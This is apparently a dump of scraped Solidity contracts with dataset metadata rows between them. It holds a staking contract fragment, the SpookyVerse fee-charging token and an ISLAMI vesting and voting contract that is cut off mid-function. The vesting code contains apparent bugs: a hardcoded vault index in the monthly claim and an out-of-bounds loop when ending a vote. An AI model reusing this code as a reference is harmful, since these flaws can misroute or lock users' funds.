function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
else if (_contract == CONTRACTS.HELPER) { // 3
stakingHelperContract = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function setEpochEndTime(uint32 _epochEndTime) external onlyStakingHelper() {
require(_epochEndTime < standardRebaseTime, "Staking: Random epoch end time is out of bounds");
require(_epochEndTime > (standardRebaseTime - randomRebaseDeviationThreshold), "Staking: Random epoch end time is out of bounds");
epoch.endTime = _epochEndTime;
}
}
| 96,430 | 12,724 |
5e3dbf0c1bb986d7efed1daf70986628853c3487c3bb39ebc7fdccb1a2da8fd1
| 39,974 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c0/C012bab9892204807b0A664e22195DDabd3D30FB_SpookyVerse.sol
| 4,665 | 20,800 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
abstract contract OwnerRecovery is Ownable {
function recoverLostAVAX() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function recoverLostTokens(address _token,
address _to,
uint256 _amount) external onlyOwner {
IERC20(_token).transfer(_to, _amount);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ILiquidityPoolManager {
function owner() external view returns (address);
function getRouter() external view returns (address);
function getPair() external view returns (address);
function getLeftSide() external view returns (address);
function getRightSide() external view returns (address);
function isPair(address _pair) external view returns (bool);
function isRouter(address _router) external view returns (bool);
function isFeeReceiver(address _receiver) external view returns (bool);
function isLiquidityIntact() external view returns (bool);
function isLiquidityAdded() external view returns (bool);
function afterTokenTransfer(address sender) external returns (bool);
}
abstract contract LiquidityPoolManagerImplementationPointer is Ownable {
ILiquidityPoolManager internal liquidityPoolManager;
event UpdateLiquidityPoolManager(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyLiquidityPoolManager() {
require(address(liquidityPoolManager) != address(0),
"Implementations: LiquidityPoolManager is not set");
address sender = _msgSender();
require(sender == address(liquidityPoolManager),
"Implementations: Not LiquidityPoolManager");
_;
}
function getLiquidityPoolManagerImplementation() public view returns (address) {
return address(liquidityPoolManager);
}
function changeLiquidityPoolManagerImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(liquidityPoolManager);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"LiquidityPoolManager: You can only set 0x0 or a contract address as a new implementation");
liquidityPoolManager = ILiquidityPoolManager(newImplementation);
emit UpdateLiquidityPoolManager(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IWalletObserver {
function beforeTokenTransfer(address sender,
address from,
address to,
uint256 amount) external returns (bool);
}
abstract contract WalletObserverImplementationPointer is Ownable {
IWalletObserver internal walletObserver;
event UpdateWalletObserver(address indexed oldImplementation,
address indexed newImplementation);
modifier onlyWalletObserver() {
require(address(walletObserver) != address(0),
"Implementations: WalletObserver is not set");
address sender = _msgSender();
require(sender == address(walletObserver),
"Implementations: Not WalletObserver");
_;
}
function getWalletObserverImplementation() public view returns (address) {
return address(walletObserver);
}
function changeWalletObserverImplementation(address newImplementation)
public
virtual
onlyOwner
{
address oldImplementation = address(walletObserver);
require(Address.isContract(newImplementation) ||
newImplementation == address(0),
"WalletObserver: You can only set 0x0 or a contract address as a new implementation");
walletObserver = IWalletObserver(newImplementation);
emit UpdateWalletObserver(oldImplementation, newImplementation);
}
uint256[49] private __gap;
}
interface IPair {
function token0() external view returns (address);
function token1() external view returns (address);
}
contract SpookyVerse is
ERC20,
ERC20Burnable,
Ownable,
OwnerRecovery,
LiquidityPoolManagerImplementationPointer,
WalletObserverImplementationPointer
{
address public immutable factionsManager;
address public treasury;
uint public sellFeesAmount;
uint public transferFeesAmount;
mapping (address => bool) public excludedFromFees;
modifier onlyFactionsManager() {
address sender = _msgSender();
require(sender == address(factionsManager),
"Implementations: Not FactionsManager");
_;
}
constructor(address _factionsManager, address _treasury) ERC20("SpookyVerse", "FEAR") {
require(_factionsManager != address(0),
"Implementations: factionsManager is not set");
factionsManager = _factionsManager;
_mint(owner(), 42_000_000_000 * (10**18));
setTreasury(_treasury);
setFeesAmount(100, 400);
}
function setFeesAmount(uint _sellFeesAmount, uint _transferFeesAmount) public onlyOwner {
require(_sellFeesAmount <= 150, "fees too high");
require(_transferFeesAmount <= 400, "fees too high");
sellFeesAmount = _sellFeesAmount;
transferFeesAmount = _transferFeesAmount;
}
function setTreasury(address _treasury) public onlyOwner {
treasury = _treasury;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (address(walletObserver) != address(0)) {
walletObserver.beforeTokenTransfer(_msgSender(), from, to, amount);
}
}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._afterTokenTransfer(from, to, amount);
if (address(liquidityPoolManager) != address(0)) {
liquidityPoolManager.afterTokenTransfer(_msgSender());
}
}
function accountBurn(address account, uint256 amount)
external
onlyFactionsManager
{
// Note: _burn will call _beforeTokenTransfer which will ensure no denied addresses can create cargos
// effectively protecting FactionsManager from suspicious addresses
super._burn(account, amount);
}
function accountReward(address account, uint256 amount)
external
onlyFactionsManager
{
require(address(liquidityPoolManager) != account,
"SpookyVerse: Use liquidityReward to reward liquidity");
super._mint(account, amount);
}
function liquidityReward(uint256 amount) external onlyFactionsManager {
require(address(liquidityPoolManager) != address(0),
"SpookyVerse: LiquidityPoolManager is not set");
super._mint(address(liquidityPoolManager), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
return _transferTaxOverride(_msgSender(), recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transferTaxOverride(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
// exclude addresses from fees (for exemple to deposit the initial liquidity without fees)
function setFeesExcluded(address _addr, bool _isExcluded) external onlyOwner {
excludedFromFees[_addr] = _isExcluded;
}
function _transferTaxOverride(address sender, address recipient, uint256 amount) internal returns (bool) {
if (!excludedFromFees[sender]) {
uint _transferAmount;
if (isFEARLiquidityPool(recipient)) { // if the recipient address is a liquidity pool, apply sell fee
uint _fees = (amount * sellFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(sender, treasury, _fees); // transfer fee to treasury address
} else if (!isFEARLiquidityPool(sender)) { // apply transfer fee if this isn't a transfer from the pool (buy)
uint _fees = (amount * transferFeesAmount) / 1000;
_transferAmount = amount - _fees;
_transfer(sender, treasury, _fees); // transfer fee to treasury address
} else {
_transferAmount = amount;
}
_transfer(sender, recipient, _transferAmount);
} else {
_transfer(sender, recipient, amount);
}
return true;
}
// retreive token from pool contract (with getter function)
function getPoolToken(address pool, string memory signature, function() external view returns(address) getter) private returns (address token) {
(bool success,) = pool.call(abi.encodeWithSignature(signature)); // if the call succeed (pool address have the "signature" method or "pool" is an EOA)
if (success) {
if (Address.isContract(pool)) { // verify that the pool is a contract (constructor can bypass this but its not dangerous)
return getter();
}
}
}
// return true if the "_recipient" address is a FEAR liquidity pool
function isFEARLiquidityPool(address _recipient) private returns (bool) {
address token0 = getPoolToken(_recipient, "token0()", IPair(_recipient).token0);
address token1 = getPoolToken(_recipient, "token1()", IPair(_recipient).token1);
return (token0 == address(this) || token1 == address(this));
}
}
| 313,808 | 12,725 |
b0984ce643731d2288f8b4f31df3c556f39f47981f499e3caeff76910c80f0c1
| 24,364 |
.sol
|
Solidity
| false |
402249499
|
ISLAMIBLOCKCHAIN/ISLAMICOIN
|
53afcb4bf4e0d9c32586be13deed093991814d24
|
contracts/ISLAMIvesting_V5.sol
| 5,726 | 19,930 |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
pragma solidity = 0.8.15;
contract ISLAMIvesting_V5 {
using SafeMath for uint256;
address private owner;
ERC20 public ISLAMI;
address public BaytAlMal = 0xC315A5Ce1e6330db2836BD3Ed1Fa7228C068cE20;
address public constant zeroAddress = address(0x0);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
uint256 private OneVote = 100000 * Sonbola;
uint256 public constant Sonbola = 10**7; // Number of Decimals in ISLAMI
uint256 public constant monthly = 30 days;
uint256 public investorCount;
//uint256 public investorVault;
uint256 public slinvestorCount;
//uint256 public slInvestorVault;
//uint256 public allVaults;
uint256 public votingEventID;
uint256 public constant hPercent = 100; //100%
uint256 public mP = 5;
uint256 public minLock = 100000 * Sonbola;
uint256 public ewFee = 1; //1% of locked amount
bool votingEventLive = false;
event InvestorAdded(address Investor, uint256 Amount);
event ISLAMIClaimed(address Investor, uint256 Amount);
event SelfLockInvestor(address Investor, ERC20 Token, uint256 Amount);
event EditSelfLock(address Investor, ERC20 Token, uint256 Amount);
event ExtendSelfLock(address Investor, ERC20 Token, uint256 Time);
event SelfISLAMIClaim(address Investor, uint256 Amount);
event EmergencyWithdraw(address Investor, address NewWallet, uint256 Amount);
event EmergencyFeeChanged(uint256 oldFee, uint256 newFee);
event ChangeOwner(address NewOwner);
event Voted(uint256 VotingEvent, address Voter, uint256 voteFee);
event VoteResults(uint256 VotingEvent, string projectName,uint256 Result);
event WithdrawalMatic(uint256 _amount, uint256 decimal, address to);
event WithdrawalISLAMI(uint256 _amount,uint256 sonbola, address to);
event WithdrawalERC20(address _tokenAddr, uint256 _amount,uint256 decimals, address to);
struct VaultInvestor{
uint256 vaultID;
ERC20 tokenAddress;
uint256 falseAmount; //represents the actual amount locked in order to keep track of monthly percentage to unlock
uint256 amount;
address recoveryWallet;
uint256 monthLock;
uint256 lockTime;
uint256 timeStart;
bool voted;
uint256 votedForEvent;
}
struct cryptocurrency{
uint256 currencyID;
ERC20 tokenAddress;
string symbol;
uint256 fractions;
uint256 currencyVault;
}
struct VoteSystem{
string projectName;
uint256 voteCount;
}
mapping(address => bool) public Investor;
mapping(address => mapping (uint256 => VaultInvestor)) public investor;
mapping(address => bool) public slInvestor;
mapping(address => mapping (uint256 => VaultInvestor)) public slinvestor;
mapping(address => bool) public blackList;
mapping(ERC20 => cryptocurrency) public crypto;
mapping(ERC20 => bool) public isCrypto;
//mapping (uint256 => cryptocurrency) public crypto;
VoteSystem[] public voteSystem;
//cryptocurrency[] public crypto;
//mapping (address => crypto)public Crypto;
modifier onlyOwner (){
require(msg.sender == owner, "Only ISLAMICOIN owner can add Investors");
_;
}
modifier isInvestor(address _investor){
require(Investor[_investor] == true, "Not an Investor!");
_;
}
modifier ISslInvestor(address _investor){
require(slInvestor[_investor] == true, "Not an Investor!");
_;
}
modifier isNotBlackListed(address _investor){
require(blackList[_investor] != true, "Your wallet is Blacklisted!");
_;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
constructor(ERC20 _ISLAMI) {
owner = msg.sender;
investorCount = 0;
ISLAMI = _ISLAMI;
_status = _NOT_ENTERED;
}
function transferOwnership(address _newOwner)external onlyOwner{
require(_newOwner != zeroAddress,"Zero Address");
emit ChangeOwner(_newOwner);
owner = _newOwner;
}
function changeBaytAlMal(address _newBaytAlMal) external onlyOwner{
require(_newBaytAlMal != zeroAddress,"Zero Address");
BaytAlMal = _newBaytAlMal;
}
function setMonthlyPercentage(uint256 _mP) external onlyOwner{
require(_mP > 0 && _mP <= 50,"!");
mP = _mP;
}
function setMinLock(uint256 _minLock) external onlyOwner{
minLock = _minLock;
}
function setEmergencyFee(uint256 _eW) external onlyOwner{
emit EmergencyFeeChanged(ewFee, _eW);
ewFee = _eW;
}
function setOneVote(uint256 _oneVote) external onlyOwner{
require(_oneVote !=0,"Zero!");
OneVote = _oneVote;
}
function setVotingEvent(string memory p1, string memory p2, string memory p3) external onlyOwner{
votingEventLive = true;
addToVote(p1);
addToVote(p2);
addToVote(p3);
votingEventID++;
}
function addToVote(string memory _projectName) public{
require(msg.sender == owner || msg.sender == address(this),"Not Allowed!");
require(votingEventLive == true,"!");
VoteSystem memory newVoteSystem = VoteSystem({
projectName: _projectName,
voteCount: 0
});
voteSystem.push(newVoteSystem);
}
function newVote(uint256 projectIndex, uint256 _vP) internal{
voteSystem[projectIndex].voteCount += _vP;
}
function endVotingEvent() external onlyOwner{
for(uint i = 0; i<=voteSystem.length; i++){
emit VoteResults(votingEventID, voteSystem[i].projectName, voteSystem[i].voteCount);
voteSystem[i] = voteSystem[voteSystem.length -1];
voteSystem.pop();
}
votingEventLive = false;
}
function addCrypto(uint256 _ID, address _token, string memory _symbol, uint256 _fractions) external onlyOwner{
ERC20 token = ERC20(_token);
crypto[token].currencyID = _ID;
crypto[token].tokenAddress = token;
crypto[token].symbol = _symbol;
crypto[token].fractions = _fractions;
isCrypto[token] = true;
}
function deleteCrypto(address _token) external onlyOwner{
delete crypto[ERC20(_token)];
isCrypto[ERC20(_token)] = false;
}
function addInvestor(address _token, address _investor, uint256 _amount, uint256 _lockTime, address _recoveryWallet) external onlyOwner{
ERC20 token = ERC20(_token);
require(token == ISLAMI,"Only ISLAMI");
uint256 ISLAMIvault = crypto[token].currencyVault;
uint256 _vaultID = crypto[token].currencyID;
require(_vaultID != 0 && _vaultID != investor[_investor][_vaultID].vaultID,"can't!");
uint256 amount = _amount.mul(Sonbola);
//totalLocked();
uint256 availableAmount = ISLAMI.balanceOf(address(this)).sub(ISLAMIvault);
require(availableAmount >= amount,"No ISLAMI");
uint256 lockTime = _lockTime.mul(1 days);
require(amount > 0, "Amount!");
require(lockTime > monthly.mul(3), "Please set a time in the future more than 90 days!");
emit InvestorAdded(msg.sender, amount);
investor[_investor][_vaultID].vaultID = _vaultID;
investor[_investor][_vaultID].tokenAddress = token;
investor[_investor][_vaultID].falseAmount = amount;
investor[_investor][_vaultID].amount = amount;
investor[_investor][_vaultID].recoveryWallet = _recoveryWallet;
investor[_investor][_vaultID].lockTime = lockTime.add(block.timestamp);
investor[_investor][_vaultID].timeStart = block.timestamp;
investor[_investor][_vaultID].monthLock = lockTime.add(block.timestamp);
Investor[_investor] = true;
crypto[token].currencyVault += amount;
//totalLocked();
investorCount++;
}
function selfLock(address _token, uint256 _amount, uint256 _lockTime, address _recoveryWallet) external isNotBlackListed(msg.sender) nonReentrant{
ERC20 token = ERC20(_token);
require(isCrypto[token] == true,"Not listed");
uint256 _vaultID = crypto[token].currencyID;
require(_vaultID != 0 && _vaultID != slinvestor[msg.sender][_vaultID].vaultID, "can't!");
require(_recoveryWallet != deadAddress, "Burn!");
if(_recoveryWallet == zeroAddress){
_recoveryWallet = address(this);
}
require(slInvestor[msg.sender] != true,"Double locking!");
uint256 amount = _amount;
require(amount >= minLock, "Amount!");
uint256 lockTime = _lockTime.mul(1 days);
require(token.balanceOf(msg.sender) >= amount,"Need token!");
token.transferFrom(msg.sender, address(this), amount);
emit SelfLockInvestor(msg.sender, token, amount);
slinvestor[msg.sender][_vaultID].vaultID = _vaultID;
slinvestor[msg.sender][_vaultID].tokenAddress = token;
slinvestor[msg.sender][_vaultID].amount = amount;
slinvestor[msg.sender][_vaultID].timeStart = block.timestamp;
slinvestor[msg.sender][_vaultID].lockTime = lockTime.add(block.timestamp);
slinvestor[msg.sender][_vaultID].recoveryWallet = _recoveryWallet;
slInvestor[msg.sender] = true;
crypto[token].currencyVault += amount;
//totalLocked();
slinvestorCount++;
}
function editSelfLock(uint256 _vaultID, uint256 _amount) external ISslInvestor(msg.sender) nonReentrant{
uint256 amount = _amount;
ERC20 token = slinvestor[msg.sender][_vaultID].tokenAddress;
require(token.balanceOf(msg.sender) >= amount,"Need ISLAMI!");
token.transferFrom(msg.sender, address(this), amount);
slinvestor[msg.sender][_vaultID].amount += amount;
crypto[token].currencyVault += amount;
emit EditSelfLock(msg.sender, token, amount);
//totalLocked();
}
function extendSelfLock(uint256 _vaultID, uint256 _lockTime) external ISslInvestor(msg.sender) nonReentrant{
uint256 lockTime = _lockTime.mul(1 days);
ERC20 token = slinvestor[msg.sender][_vaultID].tokenAddress;
slinvestor[msg.sender][_vaultID].lockTime += lockTime;
emit ExtendSelfLock(msg.sender, token, lockTime);
}
function recoverWallet(uint256 _vaultID, address _investor) external ISslInvestor(_investor) nonReentrant{
require(msg.sender == slinvestor[_investor][_vaultID].recoveryWallet &&
slinvestor[_investor][_vaultID].lockTime < block.timestamp,
"Not allowed");
useRecovery(_vaultID, _investor);
}
function selfUnlock(uint256 _vaultID, uint256 _amount) external ISslInvestor(msg.sender) nonReentrant{
require(slinvestor[msg.sender][_vaultID].lockTime <= block.timestamp, "Not yet");
uint256 amount = _amount;
ERC20 token = slinvestor[msg.sender][_vaultID].tokenAddress;
require(slinvestor[msg.sender][_vaultID].amount >= amount, "Amount!");
slinvestor[msg.sender][_vaultID].amount -= amount;
crypto[token].currencyVault -= amount;
if(slinvestor[msg.sender][_vaultID].amount == 0){
//slInvestor[msg.sender] = false;
delete slinvestor[msg.sender][_vaultID];
slinvestorCount--;
}
//totalLocked();
emit SelfISLAMIClaim(msg.sender, amount);
token.transfer(msg.sender, amount);
}
function emergencyWithdrawal(uint256 _vaultID) external ISslInvestor(msg.sender) nonReentrant{
useRecovery(_vaultID, msg.sender);
}
function useRecovery(uint256 _vaultID, address _investor) internal {
ERC20 token = slinvestor[_investor][_vaultID].tokenAddress;
uint256 feeToPay = slinvestor[_investor][_vaultID].amount.mul(ewFee).div(100);
address newWallet = slinvestor[_investor][_vaultID].recoveryWallet;
uint256 fullBalance = slinvestor[_investor][_vaultID].amount.sub(feeToPay);
crypto[token].currencyVault -= slinvestor[_investor][_vaultID].amount;
//slInvestor[_investor] = false;
delete slinvestor[_investor][_vaultID];
//totalLocked();
slinvestorCount--;
emit EmergencyWithdraw(_investor, newWallet, fullBalance);
if(newWallet == address(this)){
return();
}
token.transfer(newWallet, fullBalance);
}
function claimMonthlyAmount(uint256 _vaultID) external isInvestor(msg.sender) nonReentrant{
ERC20 token = investor[msg.sender][_vaultID].tokenAddress;
uint256 totalTimeLock = investor[msg.sender][_vaultID].monthLock;
uint256 mainAmount = investor[msg.sender][_vaultID].falseAmount;
uint256 remainAmount = investor[msg.sender][_vaultID].amount;
require(totalTimeLock <= block.timestamp, "Not yet");
require(remainAmount > 0, "No ISLAMI");
uint256 amountAllowed = mainAmount.mul(mP).div(hPercent);
investor[msg.sender][1].amount = remainAmount.sub(amountAllowed);
investor[msg.sender][1].monthLock += monthly;
crypto[token].currencyVault -= amountAllowed;
if(investor[msg.sender][1].amount == 0){
//Investor[msg.sender] = false;
delete investor[msg.sender][_vaultID];
investorCount--;
}
//totalLocked();
emit ISLAMIClaimed(msg.sender, amountAllowed);
ISLAMI.transfer(msg.sender, amountAllowed);
}
function claimRemainings(uint256 _vaultID) external isInvestor(msg.sender) nonReentrant{
ERC20 token = investor[msg.sender][_vaultID].tokenAddress;
uint256 fullTime = hPercent.div(mP).mul(monthly);
uint256 totalTimeLock = investor[msg.sender][_vaultID].lockTime.add(fullTime);
require(totalTimeLock <= block.timestamp, "Not yet");
uint256 remainAmount = investor[msg.sender][_vaultID].amount;
investor[msg.sender][_vaultID].amount = 0;
crypto[token].currencyVault -= remainAmount;
//Investor[msg.sender] = false;
delete investor[msg.sender][_vaultID];
emit ISLAMIClaimed(msg.sender, remainAmount);
ISLAMI.transfer(msg.sender, remainAmount);
//totalLocked();
investorCount--;
}
function voteFor(uint256 _vaultID, uint256 projectIndex, uint256 _votingFee) isNotBlackListed(msg.sender) public nonReentrant{
ERC20 token = investor[msg.sender][_vaultID].tokenAddress;
require(token == ISLAMI,"not ISLAMI!");
require(votingEventLive == true,"No voting event");
require(Investor[msg.sender] == true || slInvestor[msg.sender] == true,"not allowed");
address voter = msg.sender;
uint256 votePower;
uint256 votingFee = _votingFee;
uint256 lockedBasePower;
uint256 mainPower;
if(Investor[voter] == true && slInvestor[voter] != true){
if(votingEventID > investor[msg.sender][_vaultID].votedForEvent){
investor[msg.sender][_vaultID].voted = false;
}
require(investor[msg.sender][_vaultID].voted != true,"Already Voted!");
lockedBasePower = investor[voter][_vaultID].amount;
require(lockedBasePower > votingFee,"Need more ISLAMI");
investor[voter][_vaultID].amount -= votingFee;
investor[msg.sender][_vaultID].voted = true;
investor[msg.sender][_vaultID].votedForEvent = votingEventID;
crypto[token].currencyVault -= votingFee;
}
if(slInvestor[voter] == true && Investor[voter] != true){
if(votingEventID > slinvestor[msg.sender][_vaultID].votedForEvent){
slinvestor[msg.sender][_vaultID].voted = false;
}
require(slinvestor[msg.sender][_vaultID].voted != true,"Already Voted!");
require(slinvestor[msg.sender][_vaultID].lockTime >= monthly,"Should lock 30 days");
lockedBasePower = slinvestor[voter][_vaultID].amount;
require(lockedBasePower > votingFee,"Need more ISLAMI");
slinvestor[voter][_vaultID].amount -= votingFee;
slinvestor[msg.sender][_vaultID].voted = true;
slinvestor[msg.sender][_vaultID].votedForEvent = votingEventID;
crypto[token].currencyVault -= votingFee;
}
if(Investor[voter] == true && slInvestor[voter] == true){
if(votingEventID > investor[msg.sender][_vaultID].votedForEvent){
investor[msg.sender][_vaultID].voted = false;
}
require(investor[msg.sender][_vaultID].voted != true,"Already Voted!");
uint256 lockedBasePower1 = investor[voter][_vaultID].amount;
uint256 lockedBasePower2 = slinvestor[voter][_vaultID].amount;
lockedBasePower = lockedBasePower1.add(lockedBasePower2);
require(lockedBasePower2 > votingFee,"Need more ISLAMI");
slinvestor[voter][_vaultID].amount -= votingFee;
investor[msg.sender][_vaultID].voted = true;
investor[msg.sender][_vaultID].votedForEvent = votingEventID;
crypto[token].currencyVault -= votingFee;
}
mainPower = lockedBasePower*10**2;
if(votingFee > 0){
ISLAMI.transfer(BaytAlMal, votingFee);
}
votePower = mainPower.div(OneVote);
newVote(projectIndex, votePower);
emit Voted(votingEventID, msg.sender, votingFee);
}
function releaseWallet(uint256 _vaultID, address _investor) isInvestor(_investor) external nonReentrant{
ERC20 token = investor[_investor][_vaultID].tokenAddress;
uint256 fullTime = hPercent.div(mP).mul(monthly);
uint256 totalTimeLock = investor[_investor][_vaultID].lockTime.add(fullTime);
require(msg.sender == investor[_investor][_vaultID].recoveryWallet &&
totalTimeLock < block.timestamp,"Not yet!");
blackList[_investor] = true;
uint256 remainAmount = investor[_investor][_vaultID].amount;
investor[_investor][_vaultID].amount = 0;
